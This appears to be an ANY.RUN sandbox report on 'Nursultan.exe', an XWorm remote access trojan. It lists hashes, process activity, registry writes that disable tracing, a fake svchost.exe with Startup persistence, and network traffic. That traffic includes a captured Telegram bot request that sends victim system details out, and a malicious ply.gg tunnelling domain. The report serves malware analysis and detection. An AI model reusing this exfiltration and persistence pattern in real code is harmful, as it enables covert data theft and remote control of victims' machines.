| File name: | Nursultan.exe |
| Full analysis: | https://app.any.run/tasks/20455deb-7cf2-4047-8b2a-07c768771bb3 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | November 17, 2024, 10:41:35 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | D326A49628C02672B8199E2D7F6EEFD6 |
| SHA1: | 3D7BFCB1055DF6D9A99B9A861735643D979DBEF1 |
| SHA256: | 78FAA3006A538EBB08D194B94FFAEC25E5A704A40E0AAFA533F3E5C538D453AD |
| SSDEEP: | 6144:axIFld5IVHssNCbQeA3K+9RgYfxx2uCPY9UIUSKY3Q+k7te19oEqlv/FQkwOPhbn:a2FlTr8eSPLggCDINK+4bAE |
MALICIOUS
Create files in the Startup directory
- Nursultan.exe (PID: 4380)
XWORM has been detected (YARA)
- Nursultan.exe (PID: 4380)
XWORM has been detected (SURICATA)
- Nursultan.exe (PID: 4380)
SUSPICIOUS
Reads security settings of Internet Explorer
- Nursultan.exe (PID: 5100)
Starts CMD.EXE for commands execution
- Nursultan.exe (PID: 5100)
Executable content was dropped or overwritten
- Nursultan.exe (PID: 5100)
- Nursultan.exe (PID: 4380)
Reads the date of Windows installation
- Nursultan.exe (PID: 5100)
Executing commands from a ".bat" file
- Nursultan.exe (PID: 5100)
Checks for external IP
- svchost.exe (PID: 2172)
- Nursultan.exe (PID: 4380)
Process communicates with Telegram (possibly using it as an attacker's C2 server)
- Nursultan.exe (PID: 4380)
Found regular expressions for crypto-addresses (YARA)
- Nursultan.exe (PID: 4380)
Connects to unusual port
- Nursultan.exe (PID: 4380)
Contacting a server suspected of hosting an CnC
- Nursultan.exe (PID: 4380)
The process creates files with name similar to system file names
- Nursultan.exe (PID: 4380)
INFO
Checks supported languages
- Nursultan.exe (PID: 5100)
- Nursultan.exe (PID: 4380)
Reads the computer name
- Nursultan.exe (PID: 5100)
- Nursultan.exe (PID: 4380)
Reads the machine GUID from the registry
- Nursultan.exe (PID: 5100)
- Nursultan.exe (PID: 4380)
Process checks computer location settings
- Nursultan.exe (PID: 5100)
Creates files or folders in the user directory
- Nursultan.exe (PID: 5100)
- Nursultan.exe (PID: 4380)
The process uses the downloaded file
- Nursultan.exe (PID: 5100)
Reads Environment values
- Nursultan.exe (PID: 4380)
Disables trace logs
- Nursultan.exe (PID: 4380)
Checks proxy server information
- Nursultan.exe (PID: 4380)
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TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (63.1) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (23.8) |
| .dll | | | Win32 Dynamic Link Library (generic) (5.6) |
| .exe | | | Win32 Executable (generic) (3.8) |
| .exe | | | Generic Win/DOS Executable (1.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2024:11:08 17:30:48+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 290304 |
| InitializedDataSize: | 211968 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x48d6e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| FileDescription: | |
| FileVersion: | 1.0.0.0 |
| InternalName: | Nursultan.exe |
| LegalCopyright: | |
| OriginalFileName: | Nursultan.exe |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
127
Monitored processes
5
Malicious processes
3
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2172 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3648 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Roaming\..bat" " | C:\Windows\System32\cmd.exe | — | Nursultan.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4380 | "C:\Users\admin\AppData\Roaming\Nursultan.exe" | C:\Users\admin\AppData\Roaming\Nursultan.exe | Nursultan.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Version: 1.0.0.0 Modules
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| 5100 | "C:\Users\admin\Desktop\Nursultan.exe" | C:\Users\admin\Desktop\Nursultan.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 0 Version: 1.0.0.0 Modules
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| 6856 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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Total events
5 028
Read events
5 013
Write events
15
Delete events
0
Modification events
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (4380) Nursultan.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Nursultan_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
2
Suspicious files
1
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4380 | Nursultan.exe | C:\Users\admin\AppData\Roaming\svchost.exe | executable | |
MD5:05559D83CE9B8984E66740F882A2DAC9 | SHA256:FB2AA53B1C2C105AC321ABF3448AFB452EEDFF2F0407846FB3D85A8B6236E357 | |||
| 4380 | Nursultan.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk | binary | |
MD5:A2882339BC1923B14127B003498378C9 | SHA256:22C41A7A088421512E1CE457B0612C42969329A6FE0E77A64F119BFED914AA4D | |||
| 5100 | Nursultan.exe | C:\Users\admin\AppData\Roaming\..bat | text | |
MD5:9905E5A33C6EDD8EB5F59780AFBF74DE | SHA256:C134B2F85415BA5CFCE3E3FE4745688335745A9BB22152AC8F5C77F190D8AEE3 | |||
| 5100 | Nursultan.exe | C:\Users\admin\AppData\Roaming\Nursultan.exe | executable | |
MD5:05559D83CE9B8984E66740F882A2DAC9 | SHA256:FB2AA53B1C2C105AC321ABF3448AFB452EEDFF2F0407846FB3D85A8B6236E357 | |||
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HTTP(S) requests
8
TCP/UDP connections
26
DNS requests
11
Threats
12
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6944 | svchost.exe | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
3524 | RUXIMICS.exe | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6944 | svchost.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4380 | Nursultan.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | shared |
3524 | RUXIMICS.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 404 | 149.154.167.99:443 | https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A3C54740F7CC0F23B53E5%0D%0A%0D%0AUserName%20:%20admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20%20i5-6400%20%20@%202.70GHz%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%203.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 | unknown | binary | 55 b | whitelisted |
— | — | POST | 204 | 2.16.110.193:443 | https://www.bing.com/threshold/xls.aspx | unknown | — | — | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6944 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3524 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 2.23.209.183:443 | www.bing.com | Akamai International B.V. | GB | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6944 | svchost.exe | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
3524 | RUXIMICS.exe | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5488 | MoUsoCoreWorker.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
6944 | svchost.exe | 88.221.169.152:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
ip-api.com |
| shared |
api.telegram.org |
| shared |
19.ip.gl.ply.gg |
| malicious |
self.events.data.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2172 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2172 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
4380 | Nursultan.exe | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
4380 | Nursultan.exe | Device Retrieving External IP Address Detected | POLICY [ANY.RUN] External Hosting Lookup by ip-api |
2172 | svchost.exe | Misc activity | SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram |
2172 | svchost.exe | Misc activity | ET HUNTING Telegram API Domain in DNS Lookup |
4380 | Nursultan.exe | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
4380 | Nursultan.exe | Misc activity | ET HUNTING Telegram API Certificate Observed |
— | — | Misc activity | ET HUNTING Telegram API Request (GET) |
2172 | svchost.exe | Misc activity | ET INFO Tunneling Service in DNS Lookup (* .ply .gg) |
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